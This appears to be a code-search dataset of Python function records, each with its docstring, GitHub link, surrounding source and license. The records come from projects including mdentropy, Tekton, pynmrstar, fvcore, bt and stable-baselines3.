extract_segments4(d_utt_data, wav_dir, pm_reaper_dir, npm_margin): d_utt_data['v_sig'] = [] d_utt_data['v_pm_smpls'] = [] d_utt_data['v_voi'] = [] d_utt_data['nfrms_add_strt'] = np.array([]).astype('int64') d_utt_data['nfrms_add_end'] = np.array([]).astype('int64') ndiph = len(d_utt_data['srcfile']) nfrms_tot = 0 for i in xrange(ndiph): wav_file = wav_dir + '/' + d_utt_data['srcfile'][i] + '.wav' pm_file = pm_reaper_dir + '/' + d_utt_data['srcfile'][i] + '.pm' v_src_sig, fs = la.read_audio_file(wav_file) v_pm_sec, v_voi = la.read_reaper_est_file(pm_file) src_strt_orig_sec = d_utt_data['src_strt_sec'][i] src_end_orig_sec = d_utt_data['src_end_sec' ][i] src_pm_strt_nx = np.argmin(np.abs(v_pm_sec - src_strt_orig_sec)) src_pm_end_nx = np.argmin(np.abs(v_pm_sec - src_end_orig_sec)) src_pm_strt_nx_w_marg = src_pm_strt_nx - npm_margin if i==0: src_pm_strt_nx_w_marg = src_pm_strt_nx if (src_pm_strt_nx_w_marg - 1)<0: src_pm_strt_nx_w_marg = 1 src_pm_end_nx_w_marg = src_pm_end_nx + npm_margin if i==(ndiph-1): src_pm_end_nx_w_marg = src_pm_end_nx nfrms_src = len(v_pm_sec) if (src_pm_end_nx_w_marg+1)>(nfrms_src-1): src_pm_end_nx_w_marg = nfrms_src - 2 v_voi_seg = v_voi[src_pm_strt_nx_w_marg:(src_pm_end_nx_w_marg+1)] v_pm_smpls = lu.round_to_int(v_pm_sec * fs) v_pm_smpls_seg = v_pm_smpls[(src_pm_strt_nx_w_marg-1):(src_pm_end_nx_w_marg+1)] v_pm_smpls_seg = v_pm_smpls_seg - v_pm_smpls_seg[0] v_pm_smpls_seg = v_pm_smpls_seg[1:] nx_strt_wav = v_pm_smpls[src_pm_strt_nx_w_marg-1] nx_end_wav = v_pm_smpls[src_pm_end_nx_w_marg +1] v_sig_seg = v_src_sig[nx_strt_wav:(nx_end_wav+1)] nfrms_add_strt = np.maximum(0,src_pm_strt_nx - src_pm_strt_nx_w_marg) nfrms_add_end = np.maximum(src_pm_end_nx_w_marg - src_pm_end_nx,0) d_utt_data['v_sig' ].append(v_sig_seg) d_utt_data['v_pm_smpls'].append(v_pm_smpls_seg) d_utt_data['v_voi' ].append(v_voi_seg) d_utt_data['nfrms_add_strt'] = np.append(d_utt_data['nfrms_add_strt'], nfrms_add_strt) d_utt_data['nfrms_add_end'] = np.append(d_utt_data['nfrms_add_end'] , nfrms_add_end) nfrms_tot += len(v_pm_smpls_seg) d_utt_data['nfrms_tot'] = nfrms_tot return d_utt_data def crossfade_gen(fade_len): len_tot = (fade_len + 1) * 2 + 1 v_win = np.hanning(len_tot) v_fade_in = v_win[1:(fade_len+1)] v_fade_out = np.flipud(v_fade_in) return v_fade_in, v_fade_out
Apache License 2.0
msmbuilder/mdentropy
mdentropy/core/information.py
ncmutinf
python
def ncmutinf(n_bins, x, y, z, rng=None, method='knn'): return (cmutinf(n_bins, x, y, z, rng=rng, method=method) / centropy(n_bins, x, z, rng=rng, method=method))
Normalized conditional mutual information calculation Parameters ---------- n_bins : int Number of bins. x : array_like, shape = (n_samples, n_dim) Conditioned variable y : array_like, shape = (n_samples, n_dim) Conditioned variable z : array_like, shape = (n_samples, n_dim) Conditional variable rng : list List of min/max values to bin data over. method : {'kde', 'chaowangjost', 'grassberger', 'knn', None} Method used to calculate entropy. Returns ------- ncmi : float
https://github.com/msmbuilder/mdentropy/blob/82d616ddffe11283052b2d870c3b0274736a173c/mdentropy/core/information.py#L160-L183
from .entropy import entropy, centropy from ..utils import avgdigamma, nearest_distances from numpy import (atleast_2d, diff, finfo, float32, hstack, nan_to_num, sqrt) from scipy.special import psi __all__ = ['mutinf', 'nmutinf', 'cmutinf', 'ncmutinf'] EPS = finfo(float32).eps def mutinf(n_bins, x, y, rng=None, method='knn'): if method == 'knn': return knn_mutinf(x, y, k=n_bins, boxsize=diff(rng).max() if rng else None) return (entropy(n_bins, [rng], method, x) + entropy(n_bins, [rng], method, y) - entropy(n_bins, 2 * [rng], method, x, y)) def knn_mutinf(x, y, k=None, boxsize=None): data = hstack((x, y)) k = k if k else max(3, int(data.shape[0] * 0.01)) dvec = nearest_distances(data, k=k) a, b, c, d = (avgdigamma(atleast_2d(x).reshape(data.shape[0], -1), dvec), avgdigamma(atleast_2d(y).reshape(data.shape[0], -1), dvec), psi(k), psi(data.shape[0])) return max((-a - b + c + d), 0.) def nmutinf(n_bins, x, y, rng=None, method='knn'): return nan_to_num(mutinf(n_bins, x, y, method=method, rng=rng) / sqrt(entropy(n_bins, [rng], method, x) * entropy(n_bins, [rng], method, y))) def cmutinf(n_bins, x, y, z, rng=None, method='knn'): if method == 'knn': return knn_cmutinf(x, y, z, k=n_bins, boxsize=diff(rng).max() if rng else None) return (centropy(n_bins, x, z, rng=rng, method=method) + entropy(n_bins, 2 * [rng], method, y, z) - entropy(n_bins, 3 * [rng], method, x, y, z)) def knn_cmutinf(x, y, z, k=None, boxsize=None): data = hstack((x, y, z)) k = k if k else max(3, int(data.shape[0] * 0.01)) dvec = nearest_distances(data, k=k) a, b, c, d = (avgdigamma(hstack((x, z)), dvec), avgdigamma(hstack((y, z)), dvec), avgdigamma(atleast_2d(z).reshape(data.shape[0], -1), dvec), psi(k)) return max((-a - b + c + d), 0.)
MIT License
tektoncd/experimental
sdk/python/tekton_pipeline/models/v1beta1_task_resource.py
V1beta1TaskResource.__eq__
python
def __eq__(self, other): if not isinstance(other, V1beta1TaskResource): return False return self.to_dict() == other.to_dict()
Returns true if both objects are equal
https://github.com/tektoncd/experimental/blob/0ba4e7a2b9d45ed4accaecbb34dac006d665796a/sdk/python/tekton_pipeline/models/v1beta1_task_resource.py#L238-L243
import pprint import re import six from tekton_pipeline.configuration import Configuration class V1beta1TaskResource(object): """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ openapi_types = { 'description': 'str', 'name': 'str', 'optional': 'bool', 'target_path': 'str', 'type': 'str' } attribute_map = { 'description': 'description', 'name': 'name', 'optional': 'optional', 'target_path': 'targetPath', 'type': 'type' } def __init__(self, description=None, name='', optional=None, target_path=None, type='', local_vars_configuration=None): if local_vars_configuration is None: local_vars_configuration = Configuration() self.local_vars_configuration = local_vars_configuration self._description = None self._name = None self._optional = None self._target_path = None self._type = None self.discriminator = None if description is not None: self.description = description self.name = name if optional is not None: self.optional = optional if target_path is not None: self.target_path = target_path self.type = type @property def description(self): return self._description @description.setter def description(self, description): self._description = description @property def name(self): return self._name @name.setter def name(self, name): if self.local_vars_configuration.client_side_validation and name is None: raise ValueError("Invalid value for `name`, must not be `None`") self._name = name @property def optional(self): return self._optional @optional.setter def optional(self, optional): self._optional = optional @property def target_path(self): return self._target_path @target_path.setter def target_path(self, target_path): self._target_path = target_path @property def type(self): return self._type @type.setter def type(self, type): if self.local_vars_configuration.client_side_validation and type is None: raise ValueError("Invalid value for `type`, must not be `None`") self._type = type def to_dict(self): result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): return pprint.pformat(self.to_dict()) def __repr__(self): return self.to_str()
Apache License 2.0
fruch/pytest-elk-reporter
tests/conftest.py
requests_mock
python
def requests_mock(): kwargs = {"real_http": False} with rm_module.Mocker(**kwargs) as mock: yield mock
Mock out the requests component of your code with defined responses. Mocks out any requests made through the python requests library with useful responses for unit testing. See: https://requests-mock.readthedocs.io/en/latest/
https://github.com/fruch/pytest-elk-reporter/blob/5247bb02ec2b3a172553c0143d102c55b7970682/tests/conftest.py#L11-L20
import re import pytest import requests_mock as rm_module pytest_plugins = "pytester" @pytest.fixture(scope="function")
MIT License
open-mss/mss
tutorials/tutorial_satellitetrack.py
automate_rs
python
def automate_rs(): pag.sleep(5) if platform == 'linux' or platform == 'linux2': enter = 'enter' wms_path = 'pictures/tutorial_wms/linux/' st_path = 'pictures/satellite_track/linux/' win = 'winleft' ctrl = 'ctrl' elif platform == 'win32': enter = 'enter' wms_path = 'pictures/tutorial_wms/win32/' st_path = 'pictures/satellite_track/win32/' win = 'win' ctrl = 'ctrl' elif platform == 'darwin': enter = 'return' wms_path = 'pictures/tutorial_wms/linux/' st_path = 'pictures/satellite_track/linux/' ctrl = 'command' path = os.path.normpath(os.getcwd() + os.sep + os.pardir) satellite_path = os.path.join(path, 'docs/samples/satellite_tracks/satellite_predictor.txt') try: pag.hotkey('ctrl', 'command', 'f') if platform == 'darwin' else pag.hotkey(win, 'up') except Exception: print("\nException : Enable Shortcuts for your system or try again!") pag.sleep(2) pag.hotkey('ctrl', 'h') pag.sleep(3) try: x, y = pag.locateCenterOnScreen(f'{wms_path}selecttoopencontrol.png') pag.click(x, y, interval=2) pag.sleep(1) pag.press('down', presses=2, interval=1) pag.sleep(1) pag.press(enter) pag.sleep(2) except (ImageNotFoundException, OSError, Exception): print("\nException :\'select to open control\' button/option not found on the screen.") try: x, y = pag.locateCenterOnScreen(f'{st_path}load.png') pag.sleep(1) pag.click(x - 150, y, duration=2) pag.sleep(1) pag.hotkey(ctrl, 'a') pag.sleep(1) pag.typewrite(satellite_path, interval=0.1) pag.sleep(1) pag.click(x, y, duration=1) pag.press(enter) except (ImageNotFoundException, OSError, Exception): print("\nException :\'Load\' button not found on the screen.") try: x, y = pag.locateCenterOnScreen(f'{st_path}predicted_satellite_overpasses.png') pag.click(x + 200, y, duration=1) for _ in range(10): pag.click(x + 200, y, duration=1) pag.sleep(1) pag.press('down') pag.sleep(1) pag.press(enter) pag.sleep(2) pag.click(x + 200, y, duration=1) pag.press('up', presses=3, interval=1) pag.press(enter) pag.sleep(1) except (ImageNotFoundException, OSError, Exception): print("\nException :\'Predicted Satellite Overpass\' dropdown menu not found on the screen.") try: if platform == 'linux' or platform == 'linux2' or platform == 'darwin': x, y = pag.locateCenterOnScreen('pictures/europe(cyl).PNG') pag.click(x, y, interval=2) elif platform == 'win32': x, y = pag.locateCenterOnScreen('pictures/europe(cyl)win.PNG') pag.click(x, y, interval=2) pag.press('down', presses=2, interval=0.5) pag.press(enter, interval=1) pag.sleep(5) except ImageNotFoundException: print("\n Exception : Map change dropdown could not be located on the screen") try: x, y = pag.locateCenterOnScreen('pictures/add_waypoint.PNG') pag.click(x, y, interval=2) pag.move(111, 153, duration=2) pag.click(duration=2) pag.move(36, 82, duration=2) pag.click(duration=2) pag.sleep(2) except (ImageNotFoundException, OSError, Exception): print("\nException : Add waypoint button in topview not found on the screen.") try: x, y = pag.locateCenterOnScreen('pictures/zoom.PNG') pag.click(x, y, interval=2) pag.move(260, 130, duration=1) pag.dragRel(184, 135, duration=2) pag.sleep(5) except ImageNotFoundException: print("\n Exception : Zoom button could not be located on the screen") pag.sleep(1) print("\nAutomation is over for this tutorial. Watch next tutorial for other functions.") try: if platform == 'linux' or platform == 'linux2': for _ in range(2): pag.hotkey('altleft', 'f4') pag.sleep(3) pag.press('left') pag.sleep(3) pag.press('enter') pag.sleep(2) pag.keyDown('altleft') pag.press('tab') pag.press('left') pag.keyUp('altleft') pag.press('q') if platform == 'win32': for _ in range(2): pag.hotkey('alt', 'f4') pag.sleep(3) pag.press('left') pag.sleep(3) pag.press('enter') pag.sleep(2) pag.hotkey('alt', 'tab') pag.press('q') elif platform == 'darwin': for _ in range(2): pag.hotkey('command', 'w') pag.sleep(3) pag.press('left') pag.sleep(3) pag.press('return') pag.sleep(2) pag.hotkey('command', 'tab') pag.press('q') except Exception: print("Cannot automate : Enable Shortcuts for your system or try again")
This is the main automating script of the MSS remote sensing tutorial which will be recorded and saved to a file having dateframe nomenclature with a .mp4 extension(codec).
https://github.com/open-mss/mss/blob/179acb945ada3cc7adec37794439fd2defade3b9/tutorials/tutorial_satellitetrack.py#L71-L231
import pyautogui as pag import multiprocessing import sys import os.path from sys import platform from pyscreeze import ImageNotFoundException from tutorials import screenrecorder as sr from mslib.msui import mss_pyui def initial_ops(): pag.sleep(5) if platform == "linux" or platform == "linux2": pag.hotkey('winleft', 'd') print("\n INFO : Automation is running on Linux system..\n") elif platform == "darwin": pag.hotkey('option', 'command', 'm') print("\n INFO : Automation is running on Mac OS..\n") elif platform == "win32": pag.hotkey('win', 'd') print("\n INFO : Automation is running on Windows OS..\n") else: pag.alert(text="Sorry, no support on this platform!", title="Platform Exception", button='OK') def call_recorder(): rec = sr.ScreenRecorder(80, 20, int(pag.size()[0] / 1.5) - 100, int(pag.size()[1] - 100)) rec.capture() rec.stop_capture() def call_mss(): mss_pyui.main()
Apache License 2.0
ollo69/ha_tuya_custom
custom_components/tuya_custom/light.py
async_setup_entry
python
async def async_setup_entry(hass, config_entry, async_add_entities): platform = config_entry.data[CONF_PLATFORM] async def async_discover_sensor(dev_ids): if not dev_ids: return entities = await hass.async_add_executor_job( _setup_entities, hass, dev_ids, platform, ) async_add_entities(entities) async_dispatcher_connect( hass, TUYA_DISCOVERY_NEW.format(SENSOR_DOMAIN), async_discover_sensor ) devices_ids = hass.data[DOMAIN]["pending"].pop(SENSOR_DOMAIN) await async_discover_sensor(devices_ids)
Set up tuya sensors dynamically through tuya discovery.
https://github.com/ollo69/ha_tuya_custom/blob/66b8722afc9c771318b8c67865907e5ac0aac602/custom_components/tuya_custom/light.py#L45-L67
from datetime import timedelta from homeassistant.components.light import ( ATTR_BRIGHTNESS, ATTR_COLOR_TEMP, ATTR_HS_COLOR, DOMAIN as SENSOR_DOMAIN, ENTITY_ID_FORMAT, SUPPORT_BRIGHTNESS, SUPPORT_COLOR, SUPPORT_COLOR_TEMP, LightEntity, ) from homeassistant.const import CONF_PLATFORM from homeassistant.core import callback from homeassistant.helpers.dispatcher import async_dispatcher_connect from homeassistant.util import color as colorutil from . import TuyaDevice from .const import ( CONF_BRIGHTNESS_RANGE_MODE, CONF_MAX_KELVIN, CONF_MIN_KELVIN, CONF_SUPPORT_COLOR, CONF_TUYA_MAX_COLTEMP, DEFAULT_TUYA_MAX_COLTEMP, DOMAIN, SIGNAL_CONFIG_ENTITY, TUYA_DATA, TUYA_DISCOVERY_NEW, ) SCAN_INTERVAL = timedelta(seconds=15) TUYA_BRIGHTNESS_RANGE0 = (1, 255) TUYA_BRIGHTNESS_RANGE1 = (10, 1000) BRIGHTNESS_MODES = { 0: TUYA_BRIGHTNESS_RANGE0, 1: TUYA_BRIGHTNESS_RANGE1, }
Apache License 2.0
uwbmrb/pynmrstar
pynmrstar/entry.py
Entry.__repr__
python
def __repr__(self) -> str: return f"<pynmrstar.Entry '{self._entry_id}' {self.source}>"
Returns a description of the entry.
https://github.com/uwbmrb/pynmrstar/blob/c6e3cdccb4aa44dfbc3b4e984837a6bcde3cf171/pynmrstar/entry.py#L142-L145
import hashlib import json import logging import warnings from io import StringIO from typing import TextIO, BinaryIO, Union, List, Optional, Dict, Any, Tuple from pynmrstar import definitions, utils, loop as loop_mod, parser as parser_mod, saveframe as saveframe_mod from pynmrstar._internal import _json_serialize, _interpret_file, _get_entry_from_database, write_to_file from pynmrstar.exceptions import InvalidStateError from pynmrstar.schema import Schema class Entry(object): def __contains__(self, item: Any): if isinstance(item, (list, tuple)): to_process: List[Union[str, saveframe_mod.Saveframe, loop_mod.Loop]] = list(item) elif isinstance(item, (loop_mod.Loop, saveframe_mod.Saveframe, str)): to_process = [item] else: return False for item in to_process: if isinstance(item, saveframe_mod.Saveframe): if item not in self._frame_list: return False elif isinstance(item, (loop_mod.Loop, str)): found = False for saveframe in self._frame_list: if item in saveframe: found = True break if not found: return False else: return False return True def __delitem__(self, item: Union['saveframe_mod.Saveframe', int, str]) -> None: if isinstance(item, int): try: del self._frame_list[item] except IndexError: raise IndexError(f'Index out of range: no saveframe at index: {item}') else: self.remove_saveframe(item) def __eq__(self, other) -> bool: if not isinstance(other, Entry): return False return (self.entry_id, self._frame_list) == (other.entry_id, other._frame_list) def __getitem__(self, item: Union[int, str]) -> 'saveframe_mod.Saveframe': try: return self._frame_list[item] except TypeError: return self.get_saveframe_by_name(item) def __init__(self, **kwargs) -> None: self._entry_id: Union[str, int] = 0 self._frame_list: List[saveframe_mod.Saveframe] = [] self.source: Optional[str] = None if len(kwargs) == 0: raise ValueError("You should not directly instantiate an Entry using this method. Instead use the " "class methods: Entry.from_database(), Entry.from_file(), Entry.from_string(), " "Entry.from_scratch(), and Entry.from_json().") if 'the_string' in kwargs: star_buffer: StringIO = StringIO(kwargs['the_string']) self.source = "from_string()" elif 'file_name' in kwargs: star_buffer = _interpret_file(kwargs['file_name']) self.source = f"from_file('{kwargs['file_name']}')" elif 'all_tags' in kwargs: self._entry_id = kwargs['entry_id'] saveframe_categories: dict = {} schema = utils.get_schema(kwargs['schema']) schema_obj = schema.schema for tag in [schema_obj[x.lower()] for x in schema.schema_order]: category = tag['SFCategory'] if category not in saveframe_categories: saveframe_categories[category] = True templated_saveframe = saveframe_mod.Saveframe.from_template(category, category + "_1", entry_id=self._entry_id, all_tags=kwargs['all_tags'], default_values=kwargs['default_values'], schema=schema) self._frame_list.append(templated_saveframe) entry_saveframe = self.get_saveframes_by_category('entry_information')[0] entry_saveframe['NMR_STAR_version'] = schema.version entry_saveframe['Original_NMR_STAR_version'] = schema.version return else: self._entry_id = kwargs['entry_id'] self.source = "from_scratch()" return parser: parser_mod.Parser = parser_mod.Parser(entry_to_parse_into=self) parser.parse(star_buffer.read(), source=self.source, convert_data_types=kwargs.get('convert_data_types', False)) def __iter__(self) -> saveframe_mod.Saveframe: for saveframe in self._frame_list: yield saveframe def __len__(self) -> int: return len(self._frame_list)
MIT License
facebookresearch/fvcore
fvcore/common/history_buffer.py
HistoryBuffer.global_avg
python
def global_avg(self) -> float: return self._global_avg
Return the mean of all the elements in the buffer. Note that this includes those getting removed due to limited buffer storage.
https://github.com/facebookresearch/fvcore/blob/4525b814c8bb0f70510e37e68247c958010eb285/fvcore/common/history_buffer.py#L59-L64
from typing import List, Optional, Tuple import numpy as np class HistoryBuffer: def __init__(self, max_length: int = 1000000) -> None: self._max_length: int = max_length self._data: List[Tuple[float, float]] = [] self._count: int = 0 self._global_avg: float = 0 def update(self, value: float, iteration: Optional[float] = None) -> None: if iteration is None: iteration = self._count if len(self._data) == self._max_length: self._data.pop(0) self._data.append((value, iteration)) self._count += 1 self._global_avg += (value - self._global_avg) / self._count def latest(self) -> float: return self._data[-1][0] def median(self, window_size: int) -> float: return np.median([x[0] for x in self._data[-window_size:]]) def avg(self, window_size: int) -> float: return np.mean([x[0] for x in self._data[-window_size:]])
Apache License 2.0
pmorissette/bt
bt/algos.py
RunAfterDays.__init__
python
def __init__(self, days): super(RunAfterDays, self).__init__() self.days = days
Args: * days (int): Number of trading days to wait before starting
https://github.com/pmorissette/bt/blob/abf3269d8152dc8f91141ed67026c51e58ae2bf9/bt/algos.py#L379-L385
from __future__ import division import abc import random import re import numpy as np import pandas as pd import sklearn.covariance from future.utils import iteritems import bt from bt.core import Algo, AlgoStack, SecurityBase, is_zero def run_always(f): f.run_always = True return f class PrintDate(Algo): def __call__(self, target): print(target.now) return True class PrintTempData(Algo): def __init__(self, fmt_string=None): super(PrintTempData, self).__init__() self.fmt_string = fmt_string def __call__(self, target): if self.fmt_string: print(self.fmt_string.format(**target.temp)) else: print(target.temp) return True class PrintInfo(Algo): def __init__(self, fmt_string="{name} {now}"): super(PrintInfo, self).__init__() self.fmt_string = fmt_string def __call__(self, target): print(self.fmt_string.format(**target.__dict__)) return True class Debug(Algo): def __call__(self, target): import pdb pdb.set_trace() return True class RunOnce(Algo): def __init__(self): super(RunOnce, self).__init__() self.has_run = False def __call__(self, target): if not self.has_run: self.has_run = True return True return False class RunPeriod(Algo): def __init__( self, run_on_first_date=True, run_on_end_of_period=False, run_on_last_date=False ): super(RunPeriod, self).__init__() self._run_on_first_date = run_on_first_date self._run_on_end_of_period = run_on_end_of_period self._run_on_last_date = run_on_last_date def __call__(self, target): now = target.now if now is None: return False if now not in target.data.index: return False index = target.data.index.get_loc(target.now) result = False if index == 0: return False if index == 1: if self._run_on_first_date: result = True elif index == (len(target.data.index) - 1): if self._run_on_last_date: result = True else: now = pd.Timestamp(now) index_offset = -1 if self._run_on_end_of_period: index_offset = 1 date_to_compare = target.data.index[index + index_offset] date_to_compare = pd.Timestamp(date_to_compare) result = self.compare_dates(now, date_to_compare) return result @abc.abstractmethod def compare_dates(self, now, date_to_compare): raise (NotImplementedError("RunPeriod Algo is an abstract class!")) class RunDaily(RunPeriod): def compare_dates(self, now, date_to_compare): if now.date() != date_to_compare.date(): return True return False class RunWeekly(RunPeriod): def compare_dates(self, now, date_to_compare): if now.year != date_to_compare.year or now.week != date_to_compare.week: return True return False class RunMonthly(RunPeriod): def compare_dates(self, now, date_to_compare): if now.year != date_to_compare.year or now.month != date_to_compare.month: return True return False class RunQuarterly(RunPeriod): def compare_dates(self, now, date_to_compare): if now.year != date_to_compare.year or now.quarter != date_to_compare.quarter: return True return False class RunYearly(RunPeriod): def compare_dates(self, now, date_to_compare): if now.year != date_to_compare.year: return True return False class RunOnDate(Algo): def __init__(self, *dates): super(RunOnDate, self).__init__() self.dates = [pd.to_datetime(d) for d in dates] def __call__(self, target): return target.now in self.dates class RunAfterDate(Algo): def __init__(self, date): super(RunAfterDate, self).__init__() self.date = pd.to_datetime(date) def __call__(self, target): return target.now > self.date class RunAfterDays(Algo):
MIT License
ai4finance-llc/neofinrl
stable_baselines3/common/distributions.py
TanhBijector.inverse
python
def inverse(y: th.Tensor) -> th.Tensor: eps = th.finfo(y.dtype).eps return TanhBijector.atanh(y.clamp(min=-1.0 + eps, max=1.0 - eps))
Inverse tanh. :param y: :return:
https://github.com/ai4finance-llc/neofinrl/blob/51338dbb0ec86f74e4fc6cce90bc385a4639de79/stable_baselines3/common/distributions.py#L628-L637
from abc import ABC, abstractmethod from typing import Any, Dict, List, Optional, Tuple, Union import gym import torch as th from gym import spaces from torch import nn from torch.distributions import Bernoulli, Categorical, Normal from stable_baselines3.common.preprocessing import get_action_dim class Distribution(ABC): def __init__(self): super(Distribution, self).__init__() self.distribution = None @abstractmethod def proba_distribution_net(self, *args, **kwargs) -> Union[nn.Module, Tuple[nn.Module, nn.Parameter]]: @abstractmethod def proba_distribution(self, *args, **kwargs) -> "Distribution": @abstractmethod def log_prob(self, x: th.Tensor) -> th.Tensor: @abstractmethod def entropy(self) -> Optional[th.Tensor]: @abstractmethod def sample(self) -> th.Tensor: @abstractmethod def mode(self) -> th.Tensor: def get_actions(self, deterministic: bool = False) -> th.Tensor: if deterministic: return self.mode() return self.sample() @abstractmethod def actions_from_params(self, *args, **kwargs) -> th.Tensor: @abstractmethod def log_prob_from_params(self, *args, **kwargs) -> Tuple[th.Tensor, th.Tensor]: def sum_independent_dims(tensor: th.Tensor) -> th.Tensor: if len(tensor.shape) > 1: tensor = tensor.sum(dim=1) else: tensor = tensor.sum() return tensor class DiagGaussianDistribution(Distribution): def __init__(self, action_dim: int): super(DiagGaussianDistribution, self).__init__() self.action_dim = action_dim self.mean_actions = None self.log_std = None def proba_distribution_net(self, latent_dim: int, log_std_init: float = 0.0) -> Tuple[nn.Module, nn.Parameter]: mean_actions = nn.Linear(latent_dim, self.action_dim) log_std = nn.Parameter(th.ones(self.action_dim) * log_std_init, requires_grad=True) return mean_actions, log_std def proba_distribution(self, mean_actions: th.Tensor, log_std: th.Tensor) -> "DiagGaussianDistribution": action_std = th.ones_like(mean_actions) * log_std.exp() self.distribution = Normal(mean_actions, action_std) return self def log_prob(self, actions: th.Tensor) -> th.Tensor: log_prob = self.distribution.log_prob(actions) return sum_independent_dims(log_prob) def entropy(self) -> th.Tensor: return sum_independent_dims(self.distribution.entropy()) def sample(self) -> th.Tensor: return self.distribution.rsample() def mode(self) -> th.Tensor: return self.distribution.mean def actions_from_params(self, mean_actions: th.Tensor, log_std: th.Tensor, deterministic: bool = False) -> th.Tensor: self.proba_distribution(mean_actions, log_std) return self.get_actions(deterministic=deterministic) def log_prob_from_params(self, mean_actions: th.Tensor, log_std: th.Tensor) -> Tuple[th.Tensor, th.Tensor]: actions = self.actions_from_params(mean_actions, log_std) log_prob = self.log_prob(actions) return actions, log_prob class SquashedDiagGaussianDistribution(DiagGaussianDistribution): def __init__(self, action_dim: int, epsilon: float = 1e-6): super(SquashedDiagGaussianDistribution, self).__init__(action_dim) self.epsilon = epsilon self.gaussian_actions = None def proba_distribution(self, mean_actions: th.Tensor, log_std: th.Tensor) -> "SquashedDiagGaussianDistribution": super(SquashedDiagGaussianDistribution, self).proba_distribution(mean_actions, log_std) return self def log_prob(self, actions: th.Tensor, gaussian_actions: Optional[th.Tensor] = None) -> th.Tensor: if gaussian_actions is None: gaussian_actions = TanhBijector.inverse(actions) log_prob = super(SquashedDiagGaussianDistribution, self).log_prob(gaussian_actions) log_prob -= th.sum(th.log(1 - actions ** 2 + self.epsilon), dim=1) return log_prob def entropy(self) -> Optional[th.Tensor]: return None def sample(self) -> th.Tensor: self.gaussian_actions = super().sample() return th.tanh(self.gaussian_actions) def mode(self) -> th.Tensor: self.gaussian_actions = super().mode() return th.tanh(self.gaussian_actions) def log_prob_from_params(self, mean_actions: th.Tensor, log_std: th.Tensor) -> Tuple[th.Tensor, th.Tensor]: action = self.actions_from_params(mean_actions, log_std) log_prob = self.log_prob(action, self.gaussian_actions) return action, log_prob class CategoricalDistribution(Distribution): def __init__(self, action_dim: int): super(CategoricalDistribution, self).__init__() self.action_dim = action_dim def proba_distribution_net(self, latent_dim: int) -> nn.Module: action_logits = nn.Linear(latent_dim, self.action_dim) return action_logits def proba_distribution(self, action_logits: th.Tensor) -> "CategoricalDistribution": self.distribution = Categorical(logits=action_logits) return self def log_prob(self, actions: th.Tensor) -> th.Tensor: return self.distribution.log_prob(actions) def entropy(self) -> th.Tensor: return self.distribution.entropy() def sample(self) -> th.Tensor: return self.distribution.sample() def mode(self) -> th.Tensor: return th.argmax(self.distribution.probs, dim=1) def actions_from_params(self, action_logits: th.Tensor, deterministic: bool = False) -> th.Tensor: self.proba_distribution(action_logits) return self.get_actions(deterministic=deterministic) def log_prob_from_params(self, action_logits: th.Tensor) -> Tuple[th.Tensor, th.Tensor]: actions = self.actions_from_params(action_logits) log_prob = self.log_prob(actions) return actions, log_prob class MultiCategoricalDistribution(Distribution): def __init__(self, action_dims: List[int]): super(MultiCategoricalDistribution, self).__init__() self.action_dims = action_dims def proba_distribution_net(self, latent_dim: int) -> nn.Module: action_logits = nn.Linear(latent_dim, sum(self.action_dims)) return action_logits def proba_distribution(self, action_logits: th.Tensor) -> "MultiCategoricalDistribution": self.distribution = [Categorical(logits=split) for split in th.split(action_logits, tuple(self.action_dims), dim=1)] return self def log_prob(self, actions: th.Tensor) -> th.Tensor: return th.stack( [dist.log_prob(action) for dist, action in zip(self.distribution, th.unbind(actions, dim=1))], dim=1 ).sum(dim=1) def entropy(self) -> th.Tensor: return th.stack([dist.entropy() for dist in self.distribution], dim=1).sum(dim=1) def sample(self) -> th.Tensor: return th.stack([dist.sample() for dist in self.distribution], dim=1) def mode(self) -> th.Tensor: return th.stack([th.argmax(dist.probs, dim=1) for dist in self.distribution], dim=1) def actions_from_params(self, action_logits: th.Tensor, deterministic: bool = False) -> th.Tensor: self.proba_distribution(action_logits) return self.get_actions(deterministic=deterministic) def log_prob_from_params(self, action_logits: th.Tensor) -> Tuple[th.Tensor, th.Tensor]: actions = self.actions_from_params(action_logits) log_prob = self.log_prob(actions) return actions, log_prob class BernoulliDistribution(Distribution): def __init__(self, action_dims: int): super(BernoulliDistribution, self).__init__() self.action_dims = action_dims def proba_distribution_net(self, latent_dim: int) -> nn.Module: action_logits = nn.Linear(latent_dim, self.action_dims) return action_logits def proba_distribution(self, action_logits: th.Tensor) -> "BernoulliDistribution": self.distribution = Bernoulli(logits=action_logits) return self def log_prob(self, actions: th.Tensor) -> th.Tensor: return self.distribution.log_prob(actions).sum(dim=1) def entropy(self) -> th.Tensor: return self.distribution.entropy().sum(dim=1) def sample(self) -> th.Tensor: return self.distribution.sample() def mode(self) -> th.Tensor: return th.round(self.distribution.probs) def actions_from_params(self, action_logits: th.Tensor, deterministic: bool = False) -> th.Tensor: self.proba_distribution(action_logits) return self.get_actions(deterministic=deterministic) def log_prob_from_params(self, action_logits: th.Tensor) -> Tuple[th.Tensor, th.Tensor]: actions = self.actions_from_params(action_logits) log_prob = self.log_prob(actions) return actions, log_prob class StateDependentNoiseDistribution(Distribution): def __init__( self, action_dim: int, full_std: bool = True, use_expln: bool = False, squash_output: bool = False, learn_features: bool = False, epsilon: float = 1e-6, ): super(StateDependentNoiseDistribution, self).__init__() self.action_dim = action_dim self.latent_sde_dim = None self.mean_actions = None self.log_std = None self.weights_dist = None self.exploration_mat = None self.exploration_matrices = None self._latent_sde = None self.use_expln = use_expln self.full_std = full_std self.epsilon = epsilon self.learn_features = learn_features if squash_output: self.bijector = TanhBijector(epsilon) else: self.bijector = None def get_std(self, log_std: th.Tensor) -> th.Tensor: if self.use_expln: below_threshold = th.exp(log_std) * (log_std <= 0) safe_log_std = log_std * (log_std > 0) + self.epsilon above_threshold = (th.log1p(safe_log_std) + 1.0) * (log_std > 0) std = below_threshold + above_threshold else: std = th.exp(log_std) if self.full_std: return std return th.ones(self.latent_sde_dim, self.action_dim).to(log_std.device) * std def sample_weights(self, log_std: th.Tensor, batch_size: int = 1) -> None: std = self.get_std(log_std) self.weights_dist = Normal(th.zeros_like(std), std) 